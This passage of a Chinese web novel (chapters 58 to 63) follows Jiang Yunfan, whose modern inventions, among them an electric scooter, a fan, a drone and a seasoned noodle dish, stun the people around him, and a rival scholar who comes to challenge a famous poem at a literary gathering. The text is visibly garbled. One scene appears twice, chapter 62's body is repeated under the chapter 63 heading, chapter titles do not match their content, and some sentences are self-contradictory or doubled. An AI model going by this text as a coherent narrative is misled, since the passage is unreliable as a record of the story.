“你当真要去给他题字?”
“本郡主向来说话算话。”
“可是小汐,咱们去万灯节的目的,可是为了寻找彦公子啊!”
许灵嫣一直在等着这一天。
因为万灯节上文人墨客云集,那些匿名于乡野的高人也会纷纷露头,如果彦公子没有离开镜源县,那么一定也是在等这场灯会。
所以,明天恐怕是她能找到对方的最后机会。
秦七汐站起了身,摘下脸上的面纱,露出那张恰如仙子临凡的脸。
“一切随缘吧,如果他还在此地,那这秋思客栈的茅台酿,或许也能成为吸引他前往的原因。”
其实她一直看得很开,尽管也同许灵嫣一样,很想见到那首“东风夜放花千树”的作者。
可对方
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一直不肯露面,显然是故意躲着。
既然如此,又何必执着于叨扰?
况且,退一万步讲,那夜的词文从天而降,杨文炳也仅仅通过湖面小船上的一个背影,推断那首词与彦公子有关。
事实到底如何,作者到底是不是彦公子,犹未可知。
所以,一切随缘吧。
……
桃花山上,桃源居。
白瑶领着江滢一路漫步,自遍野的桃林中穿过,来到了那座林中小院门前。
“没想到我哥居住的地方,居然这么漂亮!”
一眼便是无边的桃林,粉色花瓣随风飘散,再往远方,还能看见热闹的镜源县城。尤其那座小院,篱墙环绕,周围小树藤蔓丛生,郁郁青青。
江滢的眼都瞪圆了。
这样一个家,远比围墙高筑的江家大宅更温馨。
“也是没想到,小帆一个小男儿,会把院子打理得如此好看!”
白瑶也挺意外的。
自从三个月前,让江云帆住进了这白家老宅,为了避嫌,她便再也没有回来看过了。
当时的小院久无人居,十分荒凉破旧。且不说家中没有家具,甚至就连瓦匹都落了不少,更别提此刻青葱碧绿的篱笆墙,以及围栏里种下的株株小菜了。
“**姐,这是诗吗?”
“诗?”
循着江滢的脚步,白瑶紧随其后,走到围栏的门前。
一眼看去,门旁的矮墙上,悬挂着一块黑色的牌匾。而那牌匾上,用白色的粉末,书写着几行工整的文字。
“哦,这诗啊,应该是你哥写的。”
“我哥……他会写诗了?”
江滢心中咚隆一声响,眼睛一时间瞪得老大。
我哥会写诗?
这怎么可能!
江云帆与江云帆一同长大,自己这个哥哥到底有没有写诗的天赋,她再清楚不过了。
除非老天爷真的显灵,那晚鬼门关前走一遭,让哥哥清醒了!
第58章 逐得好
同一人所作?
此话一出,全场愕然。
那一晚的文会上,当国经院大儒陈馗念出那首“东风夜放花千树”之时,在场所有人对词文的认知,都被拉到了一个新的高度。
而今天,念荷亭的木柱上,这首写景诗也让他们体会到一种前所未有的感觉。
这首诗且可以说是江云帆所写。
可那晚的词,也会是江云帆写的吗?
“不可能。”
许灵嫣很快便否决了这个想法,“短短三个月前,江云帆还对诗词一窍不通,如果当真是他写的,这样的顿悟未免也太突然了!”
她始终坚信,杨文炳口中的彦公子另有其人,而那个人理应是完美的存在。
而江云帆,不配!
“小汐,你可还记得江云帆门前牌匾上的诗文?”
“自然记得。”
说来也奇怪,秦七汐对繁琐之事一向没什么记忆能力,但对有关这江云帆的事,却记得特别清晰。
或许是这人太过与众不同了吧。
“那首诗,与今天这一首的风格完全不同,根本不像是同一个人能写出来的。”
许灵嫣立刻回想起,当时在镜湖畔红雀亭中的那一幕。
那位声称她琴技低劣的老者,让她在一瞬之间,看到了那位享誉江南的大儒,入云居士的影子。
对方到底是不是入云居士,她不敢确定,但可以确定的是,江云帆同他关系很好。
此外,出自江云帆之手的这些诗句,很可能不是他本人所写。
“那就有意思了。”
沈远修轻抚胡须,“若这一诗一词,不是由同一人所写,那这小小的镜源县,怕是卧虎藏龙。”
他已经很久没有过这样热血沸腾的感觉了,大乾文坛就像一汪沉静了多年的死水,此刻突然掀起了道道大浪,汹涌澎湃。
或许,那日他夜观天象,一颗前所未见的异星冉冉升起,真就象征了某种预兆。
“郡主,老夫对你们口中那位江公子倒是很感兴趣,不如我去与他见上一面,探探此人到底是真有本事,还是投机取巧。”
“好,那便有劳老师了。”
正好,秦七汐也想多了解一些关于江云帆的事,她没办法亲自出面,让老师前去看看虚实,倒是个不错的办法。
几人又就那诗句分析了一阵,中途间歇之时,青璇来到秦七汐身旁。
“郡主,这湖游到尾声,晚膳时间也该到了,请问郡主想吃什么,我这就回船上通知膳房。”
“不必了。”
秦七汐的嘴角,牵起一抹笑意,“我要吃鸡精面!”
中午那小小一份,还被许灵嫣分去不少,这让她有些意犹未尽。
趁着江云帆也回了客栈,正好叫人去打包一份。
青璇心领神会:“属下这就去。”
“青璇姑娘!”
青璇刚一踏出亭子,便被许灵嫣叫住。
“我也要一份。”
“……”
……
桃花山上,桃源居。
白瑶领着江滢一路漫步,自遍野的桃林中穿过,来到了那座林中小院门前。
“没想到我哥居住的地方,居然这么漂亮!”
一眼便是无边的桃林,粉色花瓣随风飘散,再往远方,还能看见热闹的镜源县城。尤其那座小院,篱墙环绕,周围小树藤蔓丛生,郁郁青青。
江滢的眼都瞪圆了。
这样一个家,远比围墙高筑的江家大宅更温馨。
“也是没想到,小帆一个小男儿,会把院子打理得如此好看!”
白瑶也挺意外的。
自从三个月前,让江云帆住进了这白家老宅,为了避嫌,她便再也没有回来看过了。
当时的小院久无人居,十分荒凉破旧。且不说家中没有家具,甚至就连瓦匹都落了不少,更别提此刻青葱碧绿的篱笆墙
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,以及围栏里种下的株株小菜了。
“**姐,这里怎么有一首诗?”
“诗?”
循着江滢的脚步,白瑶紧随其后,走到围栏的门前。
一眼看去,门旁的矮墙上,悬挂着一块黑色的牌匾。而那牌匾上,用白色的粉末,书写着几行工整的文字。
“哦,这诗啊,应该是你哥写的。”
“我哥……他会写诗?”
江滢心中咚隆一声响,眼睛一时间瞪得老大。
我哥会写诗?
这怎么可能!
江滢与江云帆一同长大,自己这个哥哥到底有没有写诗的天赋,她再清楚不过了。
除非老天爷真的显灵,那晚鬼门关前走一遭,让哥哥彻底醒悟了!
“呜呜呜……”
恰在此时,身后的桃林间,忽然传来一阵诡异的声响。
那声响很有节奏,动静不大,但却能清楚听见。
“**姐……”
江滢明显吓到了。
她有些慌乱,连忙跑到白瑶身边,两人相互靠得很近。
白瑶也很茫然。
她从未听过这样的动静,在她的认知里,没有任何一种动物或人,亦或者器械能发出这样的响动。
像是苍蝇的鸣叫,却又被放大了百倍,即便是密集的桃林也能穿过。
那到底是什么?
“嗖——”
一道玄黑色的影子,自那花瓣纷飞的桃林间横冲而出。
白瑶和江滢惊得连忙后退。
两人一脸慌乱,看那东西,个头倒是不大,许有四尺长短。
但造型却十分奇异,尤其是那不算庞大的身躯下方,竟镶嵌着两只面盆大的黑色轮子。方才风驰电掣时,这轮子转得飞快。
一晃眼,两女的目光,几乎同时**在这古怪器物的背上,那里赫然坐着一个人,此刻正对着她们笑。
“小帆?”
“哥!”
……
第59章 那词到底有什么魔力?
“哥,这……这究竟是何物?”
江滢小心翼翼地靠近,绕着江云帆身下的物件走了一圈,那双明亮的眼睛忽闪忽闪,充满了孩童般的好奇,却又带着一丝对未知的敬畏。
“此物名为电动车,是你哥我闲暇时的一点小发明。”
江云帆的演技已是炉火纯青,说出这番话时脸不红心不跳,没有丝毫心虚的模样。他也没办法,总不能告诉妹妹,这东西是来自另一个平行时空的科技产物,那恐怕比说自己会写诗还要惊世骇俗。
“好奇妙!”
江滢喃喃自语,心头震撼不已。她生于漠北,长于凌州,听过马车、牛车,甚至是人力拉行的板车,可无论哪一种,都需要外部的力量来牵引,方能在道路上前进。
而眼前这“电动车”,却颠覆了她的认知。
它与寻常车辆一样,下方装着圆形的轮子,但既无牲畜在前牵拉,也无人力在后推动,仅仅依靠自身,便能如风驰电掣般肆意奔行,那速度,比寻常的马匹还要快上几分。
她实在无法想象,自己这个曾被整个凌州城讥笑为“废柴”的哥哥,竟然还懂得这般奇巧的机关发明之术!
先是那首惊艳四座的诗,如今又是这闻所未闻的电动车,这短短三个月,他究竟脱胎换骨到了何种地步?
“不必如此惊讶,往后得了空,我便教你如何驾驭它。”
“真的吗?”江滢的眼中瞬间放出光彩。
“自然是真的,来,先带你兜一圈,感受感受!”
“好!”
江滢喜滋滋地爬上江云帆的车后座。她的动作虽有些生疏,但到底是在马背上长大的女孩,平衡感极好,没费多少工夫便稳稳坐好。毕竟她生于漠北,那里的孩童自幼便与马匹为伴,哪怕她五岁便已离开,但关于骑乘的记忆,仿佛与生俱来,早已刻在了骨子里。
待江滢抓稳扶手,江云帆启动引擎,那独特的“呜呜”声再次响起。
他随即转头,望向还站在小院门口,神情有些复杂的白瑶:“瑶姐,客栈有大单子,我已经让老林他们开始做了,担心他们不会放鸡精,你估计得回去盯着点。”
话音未落,他油门一拧,电动车便载着兄妹二人,顺着下山的石板路轻快地疾驰而出。
“知道啦!”
白瑶略带几分幽怨的声音从身后遥遥传来,“你今日就安安心心陪妹妹吧,客栈我帮你看着。”
“?”
听到这话,江云帆当即就懵了。
什么叫客栈帮我看着?
请问那不是你的客栈吗?我才是打工的啊喂!怎么你看起来还很委屈的样子……
不对!
恍然之间,白瑶之前说过的一句话,从江云帆脑中一闪而过——
“如果小帆愿意,我可以与他一同守着这小小的客栈,共度余生!”
难道说……
“哥,今天**姐与我说了一句话。”后座的江滢忽然开口。
“她说什么了?”
江云帆侧过头,只见江滢正满脸紧张又兴奋,感受着山风从耳畔呼啸而过,双手死死抓着电动车两侧的扶手。
“她说,若是我不想在江家待了,便到这里来,和你们俩……一起生活。”
“一起……生活?”
完蛋!
江少爷心里顿时警铃大作,直呼不妙。
瑶姐不对劲,十分有十八分的不对劲!
难道她真的把自己当初的投奔,当成了某种图谋不轨,是……是馋她的身子?
最关键的是,即便她这么认为了,看这情形,她竟然还顺理成章地接受了!
一时之间,江云帆的内心波涛汹涌,五味杂陈,竟不知该如何面对这份突如其来的、美丽的误会……
此时此刻,白瑶并不知道江云帆内心的惊涛骇浪。
目送着那道玄黑色的影子消失在桃林深处后,她并未如江云帆所言那般急着离开,反倒是站在小院门口,陷入了纠结。
“无论怎么说,这里终究是我家,进自己的家门,不需要经过谁的同意吧?”
“而且……我只是进去看一看,不偷也不拿,应该也没什么问题吧?”
白瑶在心里来来**地念叨了好几遍,那颗摇摆不定的心,总算被自己说服了。
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她深吸一口气,鼓足勇气推开了那扇虚掩的柴门,迈步走进了这座既熟悉又陌生的小院。
院内的格局,与三个月前她交给江云帆时,已是天壤之别。那时这里荒草丛生,房顶的瓦片都落了不少,处处透着破败萧条。
可现在,屋顶已翻修得焕然一新,院中被打理得干净整洁,甚至还多了不少她从未见过的稀奇物件。
院角多了一方小小的水池,池中竟有个木制的水车在缓缓转动,发出悦耳的声响;院子中央搭起了一面巨大的幕篷,篷下还摆着一张精致的小方桌和几把竹椅。
“这小子,倒还真懂得享受生活。”
白瑶环顾四周,只觉得眼前的小院在江云帆的一番改造下,早已褪去了乡野陋居的简朴,反而像是一处精心雕琢的豪华园林,雅致而又舒适。
倘若能生活在此处,毫无疑问会是件极为惬意的事。
尤其……还是在与某人相依相伴的情况下……
也不知为何,白瑶心里忽然升起一股暖意,越看,便越是喜欢这个**云帆气息填满的地方。
带着愈发浓厚的好奇,她莲步轻移,走进了品字形房屋中的那间正堂。
堂内的陈设同样新奇,有许多东西白瑶都是前所未见,尤其是那尊伫立在厢房门前,约莫半人高,身形细长、头顶却是个圆盘的古怪物件,更是吸引了她全部的注意。
“这……又是何物?”
她缓缓走近,目光很快便落在那东西的“腰身”处,那里赫然镶嵌着几个圆形的小凸起,看起来似乎能用手指按下去……
“啪!”
心念刚动,白瑶的手指便已不受控制地,轻轻按了上去。
下一刻,一阵呼啸声陡然响起!
“哗哗哗……”
只见那圆盘形的大脑袋里,原本静止的几片狭长叶片,此刻竟飞速旋转起来,快到肉眼几乎无法捕捉其踪影。
伴随着叶片的转动,一股强劲而清凉的风猛地扑面而来,吹起了她额前的碎发和飘逸的裙摆。
“……”
刹那间,白瑶如遭雷击,一双美目瞬间瞪得溜圆。
第60章 生风的机器
“哗哗哗……”
呼啸的强风,让白瑶的长发疯狂向后舞动。胸前衣襟被风掀开,因天气酷热而被汗水打湿的雪白肌肤,顷刻传来透骨的凉意。
仅仅一刹那,夏日的炎炎暑气便荡然无存,整个人像是被拽入了清爽宜人的深秋时节……
这……这究竟是何物?
白瑶心神剧震,呆立当场。
此物的作用与扇子无异,皆是为了生风祛暑,可效果却有天壤之别。它无需人力摇动,便能自行转动生风,更可怖的是那风量,简直不亚于雷雨将至时天地间呼号的狂风!
三个月了,白瑶已经记不清自己**云帆带来的新奇事物震惊过多少次。然而,没有哪一次,能与今日相提并论。
这个男人,身上到底还藏着多少颠覆常理的秘密?
怀着内心的惊讶,白瑶在堂屋里找了个正巧能吹到风的地方坐下。
那座位也软,身体落上去的时候,她能明显感觉到自己的屁股陷进去好深一截,随后又好像被紧紧包裹起来一般,让她不禁俏脸一红。
过了许久,白瑶才从这接连的震撼中缓缓回过神来。
她定了定心神,抬手将脑后被吹得凌乱的发丝拢顺,又羞赧地掩了掩胸前被吹开的衣襟,这才起身,依着记忆按下了那个神奇物件上的开关。
呼啸的风声戛然而止。
她环顾四周,目光掠过江云帆的卧房门,却并未探究,而是选择走进了另一侧的库房。
记忆中堆满破旧家什与残砖碎瓦的库房,此刻早已被清扫得一干二净。
取而代之的,是林林总总摆放整齐的、她闻所未闻、见所未见的奇特物件,那些东西造型古怪,材质不明,白瑶完全看不出其用途。
她只觉得江云帆这个人,越发像一团深不见底的迷雾。
本以为随着相处日久,会对他愈发了解,可事实恰恰相反。她越是走近,就越是看不透他。为何他家中会有如此多世间绝无仅有的陈设与工具?
一两件可以说是奇思妙想,可眼前这满屋子的奇异之物,未免也太过离奇!
白瑶苦思冥想,百思不得其解,目光却忽然被墙角一个用黑布包裹的、约莫脚盆大小的圆形器物牢牢吸引。
这东西……
她秀眉微蹙,脑海深处,一道模糊的记忆电光火石般闪过。
强烈的好奇心驱使着她,白瑶缓步上前,将那黑布包裹的重物捧起,只觉入手极沉,分量压手。
“咚!”
她将那东西小心地置于一旁的木柜上,屏住呼吸,指尖带着一丝颤抖,缓缓揭开了那层神秘的黑布……
布下之物映入眼帘的瞬间,白瑶的呼吸彻底凝滞了。
那是一个造型极为怪异的器物,生有四足四翼,机翼的构造,与方才那生风神物顶端的叶片竟有几分相似!
一时间,白瑶如遭雷击,彻彻底底地愣在了原地。
这东西,她见过!
那一日,在秋思客栈的上空,盘旋往复的正是此物!直到江云帆出现,它才悄然离去。
后来,尚书府的许小姐前来寻人,言辞之中提及的那个能够飞天的奇物,形容的似乎也是它!
而此时此刻,这件本该属于传说中的东西,竟然就安安静静地躺在江云帆的库房里!
难道说……
王府楼舫上那首轰动一时的词,当真是江云帆所作!
刹那之间,一股无穷无尽的震惊感,彻底传遍白瑶的全身。
……
“哒哒,哒哒……”
镜湖之畔,马蹄声急,一骑绝尘。
当江元勤得知,声名显赫的归雁先生竟为镜湖文会的一首词,而延后了凌州经院的讲学之期后,他无论如何也无法接受这个事实,当即便快马加鞭,赶赴镜源县。
他本以为,凭自己江家二公子以及即将上任的怀南城主簿的双重身份,那位大儒无论如何都会卖几分薄面。
可他怎么也想不到,自己精心安排的一切,竟然会输给一首虚无缥缈的词!
江元勤原计划等明日万灯节再动身,既能一
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览灯会盛景,又能登上王府楼舫,以自己冠绝京城的文才,与江南才子一较高下,看看能否一举夺魁。
但现在,他已经迫不及待了!他急切地想要知道,究竟是怎样一首词,能有如此惊天动地的魔力,竟让归雁先生这等身份的大儒,不惜自毁声誉,也要为之折腰爽约?
他不信,他不信这世间存在能胜过经院讲学的词赋!
凌州城与镜源县相距不过三十余里,快马疾驰,不足一个时辰便已抵达。
江元勤策马穿过县城,直奔镜湖岸边。
此时已是日薄西山,落日余晖将广袤无垠的湖面镀上了一层璀璨的流金。
远远望去,王府楼舫那巍峨的船身如一座水上宫殿,静静伫立在湖岸线上,气势非凡。
江元勤早便听闻,此次镜湖文会,世家子弟与官宦之后,只需出示身份令牌即可登船。他亮出江家令牌,登船过程自然是畅通无阻。
此刻,大船的甲板上依旧人头攒动,热闹非凡。
文会持续数日,许多来自天南海北的才子佳人流连于此,或住在船楼客房,或每日登船,只为等待最终的评选结果。
平日里,他们三五成群,聚于一处,探讨诗词,交流心得。
只是近几日,所有的讨论都绕不开那首“东风夜放花千树”,仿佛词中的玄妙意境,穷尽心力也探索不完。便是有人偶尔提及乾文阁中收录的千古名篇,也总会不自觉地拿来与此词比较,最终又将话题牵引回来。
然而,就在江元勤登上甲板的这一刻,他却敏锐地发现,众人热议的话题,似乎不再是那首妙词。
准确地说,根本就不是诗词!
“好,好面!”
人群中央,“琴诗双绝”侯茂杰正端着一只青瓷大碗,满面红光地霍然起身。
“嘶——”
他吸溜一口面条滑入腹中,双眼微眯,脸上露出了飘飘欲仙的极致享受之色。
“我侯茂杰活了十八年,今日竟是头一回,对一碗面条欲罢不能!”
第61章 会飞的奇物,在江云帆家里?
一碗面罢了,能有多么惊为天人,至于如此夸张失态。
江元勤心中冷嗤一声,只觉得此番回到江南,越发难以揣度这些人的心思了。他自小在京城长大,见惯了真正的繁华与规矩,眼前的景象在他看来,无异于一场荒唐的闹剧。
先是一个名不见经传的小人物,凭一首稍显出彩的词,便能让归雁先生那样的儒学大家方寸大乱,不惜为之延期讲学。
眼下,又是一碗清汤寡水的素面,竟能让这位身着月白长衫、一看便知出身不凡的公子哥当众大呼小叫,浑然不顾翩翩风度?
这简直离谱得出奇!
江元勤识得此人,正是烟凌城都尉之子,素有“琴诗双绝”之称的侯茂杰。两人此前在一次文会上曾有过一面之缘,也算有过诗词交流。他深知此等世家子弟,什么样的山珍海味没有尝过?
如今竟为区区一碗面条震惊至此,未免太过荒谬!
他敛起眼底的轻蔑,迈着沉稳的脚步,不疾不徐地从甲板上三五成群的文人雅士间穿行而过。
手中,紧握着一卷雅紫镶边的锦帛。
在与侯茂杰擦身而过之际,他唇角勾起一抹似有若无的弧度,语气淡然地开口:
“京城天极楼的天极面,面条劲道如筋,汤头香浓醇厚,侯公子有机会可以去尝尝。”
正在大口吃面的侯茂杰动作一顿。
听这话里话外的意思,不就是在暗讽他眼界狭窄,没见过什么世面吗?
哼,简直是天大的笑话!
他侯茂杰再怎么说也是烟凌城一带无人不知的富贵公子,论起奢靡享受,还没几个人能比得过他。
堂堂“琴诗双绝”,何时受过这等明褒暗贬的讥讽?
他心头火起,当即三下五除二,将碗中剩余的面条连同汤汁一并扫入腹中。继而霍然起身,循着刚才那人的背影跟了过去。
江元勤自然不知道侯茂杰心中所想。
他此番登船,目的明确。其一,是要亲眼见识那首搅动风云的词究竟有何等魔力。
其二,便是要凭借他潜心打磨半年之久,自认足以惊艳世人的奇作,于这镜湖文会中拔得头筹,一举成为王府的座上之宾,甚至是那临汐郡主未来的夫婿。
所以,若能在他呈上大作之时,让郡主本人亲临见证,那便是再完美不过的开场了。
思及此,江元勤径直行至西侧船楼前。
面对门外肃立的王府卫兵,他谦逊而儒雅地拱手:“烦请二位通报一声,当朝二甲进士、怀南主簿江元勤,求见郡主殿下。”
两名王府甲士微微皱眉,相视一眼之后,便又再次回归严肃。
仿佛根本没听到他说话。
江元勤暗自咬了咬牙,心头有些不悦,但并没有发作。
他正想再提醒一次,便听见身后传来一声呼喊:
“我道是谁,原来是元勤兄啊。”
侯茂杰已然来到他身侧,背着手,姿态悠闲地晃了晃身子,“元勤兄,别来无恙啊?”
他本是怒气冲冲地跟来理论,可见到是江元勤,心头的火气反倒收敛了几分。
江元勤淡漠地瞥了他一眼:“托福,好得很。倒是侯公子,不知何时竟落魄到这般田地?为一碗小小素面,也能如此珍爱有加。”
“哈哈,素面……”
这是侯茂杰今天听过最好笑的笑话。
那碗鸡精面,看起来确实像素面。可其中掺杂的滋味,怕是把这天下的百种鲜香,都给容纳了进去。
“在下不才,往日游历京城时,亦曾有幸品尝过元勤兄口中的天极面。要问作何评价……哼,给今日这鸡精面的面汤垫泔桶,它都不配!”
“……”
江元勤眉头深深一皱,随即嘴角冷笑一下,脸上的轻蔑更加明显了。
果然,在小地方待久了,人的见识与思维都会受到局限。
无知倒也罢了,可一旦无知到了某种境界,便会变得不知天高地厚。
京城天极面,那是自大乾立朝之初,便流传至今,跨越四百余年风雨的御用面点,更是历代皇室的贡品。
能被誉为“大乾第一面”,是经过了无数代人味蕾考验的至高荣誉,岂是这小地方冒出来的什么“鸡精面”能
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够碰瓷的?
在他看来,侯茂杰已然被那碗劣质面食迷惑了心智,不可理喻。
“随你怎么说吧。”
江元勤已然决定不再与此人多费口舌,江元勤已经决定不再搭理对方,毕竟与人争论什么面条好不好吃,那是街头妇人之间的事。
他今日要做的,是将自己的词文公之于众,既要夺得王府的丰厚彩头,更要让大乾天下万千才子知晓,一位即将在文坛上冉冉升起的新星,已然降临。
“元勤兄,别在这里白费力气了,”侯茂杰却好似浑不在意他的轻慢,反而好心提醒道,“郡主殿下今晨便已离船,至今未归。即便回来了,也不是想见就能见的,你至少得先在文会上拿个甲等名次,才有机会一睹芳容。”
“罢了。”
江元勤想了想,既然郡主不在,赖在此处也不是办法。
索性先把词作递交上去,只要一鸣惊人,那自己还不是随心所欲?
顺便,先去看看那首被传得神乎其神的词……
侯茂杰也是好心,主动把江元勤领到了船上收录诗词的地方。
负责接收文稿的,是一位年过花甲的老者,虽满面皱纹,但精神矍铄,双目有神。江元勤一眼便认出,此人乃是国经院的一位老祭酒,姓卞名青松,专攻描景诗一脉,在士林中德望颇高。
“学生江元勤,见过卞老师!”
江元勤一上前便恭敬行礼,作为国经院走出去的学生,哪怕考中了进士,他还是得叫对方一声老师的。
可谁知,那老祭酒仿佛全然没听到他的声音,目光死死锁着远处。
“老师?”
他又试探性地提醒了一声。
谁知这一声提醒,竟换来对方不耐烦地一沉脸。
“别吵!”
卞青松猛地低喝一声,脖子努力前伸,一双锐利的老眼死死盯着甲板的另一端——那里,国经院的另一位大儒陈馗,正旁若无人地端着一只大碗,埋头大口大口地嗦着面条。
卞青松看得眼都直了,忍不住咂了咂嘴:
“你看,他吃得多香啊!嘶……”
第62章 垫泔桶都不配
空气陷入短暂的安静。
江元勤待在原地许久,竟全然忘记了呼吸。
他顺着卞青松那近乎痴迷的目光望去,一眼便认出了那个埋头吃面的人。
陈馗,国经院的资深大儒,在京城文坛,谁人不识,谁人不敬?可此刻,他捧着碗大口嗦面的姿态,那份急切与投入,竟像个饿了三五天的难民,全无半点大儒应有的风范。
再看眼前的卞青松,江元勤能看懂他的表情,那分明就是眼馋,嘴馋!
他无法理解,也无法想象,一碗面而已,究竟能蕴含何等惊天动地的美味?
侯茂杰那等纨绔子弟被迷了心窍也就罢了,为何连这两位见惯了山珍海味、常年生活在京城的国经院泰斗,也为此物露出了这般近乎失态的着迷?
“老师!”
江元勤的声音陡然拔高,语气中带着一丝他自己都未曾察觉的愠怒。
此刻他很不满,明明这一整船的人,都是来自大乾各地有名的文人雅士,他们在这里本该吟诗作对、探讨文道。
可如今,满船才子竟对高雅的诗词文赋置若罔闻,反而全都围着一碗凡俗吃食打转,这成何体统!
这一声怒喝,如平地惊雷,总算将卞青松游离的神思给强行拽了回来。
老祭酒缓缓抬起头,脸上满是被人打扰清梦的不悦,目光浑浊地看着眼前的年轻人,语气极不耐烦:“何事唤我?”
江元勤强压下心头的不快,双手捧着自己那卷精心装裱的锦帛,郑重递上:“学生有一首词作,特来提交。”
“有词作便放在那边,吵我作甚?”卞青松的视线又开始不受控制地往陈馗的方向瞟。
江元勤一愣,追问道:“老师不先过目一番?”
“自有评审团统一观摩品鉴,这便不劳你操心了。”卞青松摆了摆手,语气中透着一股深深的疲惫。
其实文会伊始,每有诗词递交上来,他都会兴致盎然地细细研读,并就其内容,与周围的学者交流探讨。
但每一次研读,他都会在潜意识中,拿手中的作品与那晚的“东风夜放花千树”作对比。
那首词如同一座无法逾越的巍峨神山,矗立在他心头。
他想看看,这些被誉为青年才俊的学子,他们的才情,距离那真正的“仙人之笔”,究竟还隔着多远的距离?
然而,不知不觉间,那首词便成了他心中锚定作品上限的唯一标杆。
奈何每对比一次,卞青松便失望一次。
他愈发觉得,那晚的绝唱乃是天授神启,是仙人醉酒后遗落凡尘的篇章,绝非凡人所能企及。因为那些早已声名远播的才子所递交的作品,与之相比,差距大到仿佛不像是同一个世界的造物!
“既然老师无暇一观,那学生只好献丑了。”
江元勤的脸色冷了下来,他果断地将那卷紫绣锦书收回怀中,动作干脆利落。
他绝不允许自己这篇潜心打磨半年、视若珍宝的巅峰之作,与那些粗浅糟糠混作一团,包括那首被人口口相传、神乎其神的“绝唱”!
他迅速转身,在卞青松疑惑不解的目光中,昂首阔步,径直走上了甲板中央那座专为吟诵诗文而设的高台。
侯茂杰不明所以,一路跟到台前,仰头笑问:“元勤兄,你这是要做什么?”
江元勤对他视若无睹,立于高台之上,清了清嗓子,运气于丹田,声若洪钟地冲着整个甲板呼喊:“诸位!”
嘈杂的嗦面声、交谈声,在这一瞬间稍稍停滞。
江元勤抓住这片刻的安静,朗声宣告:“在下凌州江元勤,听闻前夜这楼舫之上,出了一首被誉为‘绝唱’的妙词。‘东风夜放花千树’。今日,我特携一词前来挑战,在下目标无他,唯文会魁首耳!”
话音落下,如巨石投湖,激起千层浪。全场愕然。
终于,那些才子们手中依依不舍的筷子,被“啪嗒”一声,齐齐放了下来。只因他们听到了一个石破天惊的消息——
有人,要公开挑战那首“东风夜放花千树”!还要夺取文会魁首?
这是什么情况?
一众人面面相觑,甚至一度以为自己听错了。要知道,他们在拜读过那首词后,从心
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底里生出的不是奋起直追的斗志,而是高山仰止、难以企及的浓浓绝望。
就连陈馗在内的几位评审,此刻也愣在了原地,停下了动作,只把目光齐聚到高台之上。
很快,有人认出了高台上的男子。
“那人好像是……此前凭借一首《江城子》而名扬京都的江进士!”
“对,就是他!此人确实才气过人,别说,以他的实力,说不定还真有资格挑战一二!”
“江兄,既有佳作,何不快快念来,让我等一饱耳福!”
听到台下的议论,江元勤的嘴角勾起一抹自信的微笑,他正了正衣冠,正欲开口。
却忽然听到远处船舷方向,传来一声清亮悠长的高呼:
“郡主到——!”
郡主?
江元勤双眼倏然一睁,只见那与岸边相连的舷梯之上,一位面戴轻纱、身着金丝滚边白裙的绝美少女,正在一行侍卫的簇拥下,莲步轻移,缓缓踏上甲板。
他一时愣了神。
果然,这位传说中的江南第一美人,当真有倾国倾城之貌。即便隔着一层薄纱,也丝毫掩盖不住她那仙姿绰约的绝世风华,以及与生俱来的高贵与自信!
没错!绝对没错!
江元勤此刻十分肯定,他把成为王府郡马立为目标,是最正确的决定!
来得正好。
既然郡主亲临,那便让所有人,便让所有人一起感受一下,他笔下的文字……
当然在此之前,他打算念一遍自己的对手词,这样也方便做个对比陪衬。
江元勤甚至有些希望众人口中讨论的那首词足够优秀,因为他从不斩平庸之辈。
“侯公子,你可知那首‘东风夜放花千树’的内容?”他低头看向台边的侯茂杰。
后者依旧好心,随手从旁边的案桌上抽了一张纸,递了过去。
他甚至都不需要看,便知道纸上写的是那首词。
因为它这两日已经被抄写了千百遍了!
江元勤站定身体,目光看向手中词句,嘴角依旧带笑。
但片刻之后,那笑容忽然凝固了……
第63章 我要挑战那首词
空气陷入短暂的安静。
江元勤待在原地许久,竟全然忘记了呼吸。
他顺着卞青松那近乎痴迷的目光望去,一眼便认出了那个埋头吃面的人。
陈馗,国经院的资深大儒,在京城文坛,谁人不识,谁人不敬?可此刻,他捧着碗大口嗦面的姿态,那份急切与投入,竟像个饿了三五天的难民,全无半点大儒应有的风范。
再看眼前的卞青松,江元勤能看懂他的表情,那分明就是眼馋,嘴馋!
他无法理解,也无法想象,一碗面而已,究竟能蕴含何等惊天动地的美味?
侯茂杰那等纨绔子弟被迷了心窍也就罢了,为何连这两位见惯了山珍海味、常年生活在京城的国经院泰斗,也为此物露出了这般近乎失态的着迷?
“老师!”
江元勤的声音陡然拔高,语气中带着一丝他自己都未曾察觉的愠怒。
此刻他很不满,明明这一整船的人,都是来自大乾各地有名的文人雅士,他们在这里本该吟诗作对、探讨文道。
可如今,满船才子竟对高雅的诗词文赋置若罔闻,反而全都围着一碗凡俗吃食打转,这成何体统!
这一声怒喝,如平地惊雷,总算将卞青松游离的神思给强行拽了回来。
老祭酒缓缓抬起头,脸上满是被人打扰清梦的不悦,目光浑浊地看着眼前的年轻人,语气极不耐烦:“何事唤我?”
江元勤强压下心头的不快,双手捧着自己那卷精心装裱的锦帛,郑重递上:“学生有一首词作,特来提交。”
“有词作便放在那边,吵我作甚?”卞青松的视线又开始不受控制地往陈馗的方向瞟。
江元勤一愣,追问道:“老师不先过目一番?”
“自有评审团统一观摩品鉴,这便不劳你操心了。”卞青松摆了摆手,语气中透着一股深深的疲惫。
其实文会伊始,每有诗词递交上来,他都会兴致盎然地细细研读,并就其内容,与周围的学者交流探讨。
但每一次研读,他都会在潜意识中,拿手中的作品与那晚的“东风夜放花千树”作对比。
那首词如同一座无法逾越的巍峨神山,矗立在他心头。
他想看看,这些被誉为青年才俊的学子,他们的才情,距离那真正的“仙人之笔”,究竟还隔着多远的距离?
然而,不知不觉间,那首词便成了他心中锚定作品上限的唯一标杆。
奈何每对比一次,卞青松便失望一次。
他愈发觉得,那晚的绝唱乃是天授神启,是仙人醉酒后遗落凡尘的篇章,绝非凡人所能企及。因为那些早已声名远播的才子所递交的作品,与之相比,差距大到仿佛不像是同一个世界的造物!
“既然老师无暇一观,那学生只好献丑了。”
江元勤的脸色冷了下来,他果断地将那卷紫绣锦书收回怀中,动作干脆利落。
他绝不允许自己这篇潜心打磨半年、视若珍宝的巅峰之作,与那些粗浅糟糠混作一团,包括那首被人口口相传、神乎其神的“绝唱”!
他迅速转身,在卞青松疑惑不解的目光中,昂首阔步,径直走上了甲板中央那座专为吟诵诗文而设的高台。
侯茂杰不明所以,一路跟到台前,仰头笑问:“元勤兄,你这是要做什么?”
江元勤对他视若无睹,立于高台之上,清了清嗓子,运气于丹田,声若洪钟地冲着整个甲板呼喊:“诸位!”
